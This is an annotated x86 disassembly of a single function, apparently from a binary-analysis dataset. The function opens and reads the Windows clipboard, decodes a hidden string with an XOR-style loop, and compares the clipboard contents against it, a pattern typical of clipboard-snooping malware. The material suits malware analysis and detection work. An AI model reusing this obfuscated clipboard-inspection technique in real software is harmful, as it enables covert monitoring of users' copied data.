Function at 0x42d1c2
Capabilities:
Encode data using xor
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
call fcn.00409380
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edi, esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0xc], esp
or al, 0x50
mov dword [esi + 8], esp
sub esp, 0x18
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
mov dword [esi + 0x18], esp
mov dword [esi + 0x28], ecx
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov dword [esi + 0x14], eax
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42d205
jmp 0x42d378
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [edi], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [esi + 0x10]
mov dword [edi], eax
cmp dword [edi], 0
je 0x42d36c
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0xc]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00408d70
add esp, 4
mov ecx, dword [esi + 8]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x42d276
jmp 0x42d35e
call fcn.00409380
mov eax, dword [esi + 0x28]
mov ecx, dword [eax]
mov eax, dword [esi + 8]
mov edx, dword [eax]
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x18]
mov al, byte [eax]
mov byte [esi + 4], al
mov byte [ebx], 0x63
mov byte [ebx + 1], 0x49
mov byte [ebx + 2], 0x4b
mov byte [ebx + 3], 0x5b
mov byte [ebx + 4], 0x4c
mov byte [ebx + 5], 0x58
mov byte [ebx + 6], 0x4f
mov byte [ebx + 7], 0x59
mov byte [ebx + 8], 0x4a
mov byte [ebx + 9], 0x9f
mov byte [ebx + 0xa], 0x58
mov byte [ebx + 0xb], 0x4b
mov byte [ebx + 0xc], 0x46
mov byte [ebx + 0xd], 0xb1
mov dword [ebx + 0x12], 0
mov dword [ebx + 0xe], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x16
jae 0x42d33f
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], edx
jmp 0x42d2ef
mov edx, dword [esi]
mov eax, dword [esi]
movzx ecx, byte [ebx + eax]
mov edi, edx
add edi, 0x686e7065
mov eax, edi
and eax, ecx
xor edi, ecx
lea eax, [edi + eax*2]
add edx, 0x65
and edx, ecx
add edx, edx
sub eax, edx
mov dword [esi + 0x2c], eax
mov ecx, dword [esi + 0x2c]
mov eax, ecx
or eax, 0x3c
and ecx, 0x3c
add eax, ecx
inc al
mov ecx, dword [esi]
mov byte [ebx + ecx], al
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, 0x16
jb 0x42d2ef
mov edi, dword [esi + 0x10]
mov edx, dword [esi + 0x24]
mov ecx, dword [esi + 0x20]
jmp 0x42d33f
sub esp, 0xc
mov dword [esp], ebx
mov eax, dword [esi + 0x1c]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.004095a0
and al, 1
mov ecx, dword [esi + 0x14]
mov byte [ecx], al
jmp 0x42d35e
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42d36e
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42d376
jmp 0x42d378
mov eax, dword [esi + 0x14]
mov al, byte [eax]
jmp 0x42d37f
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret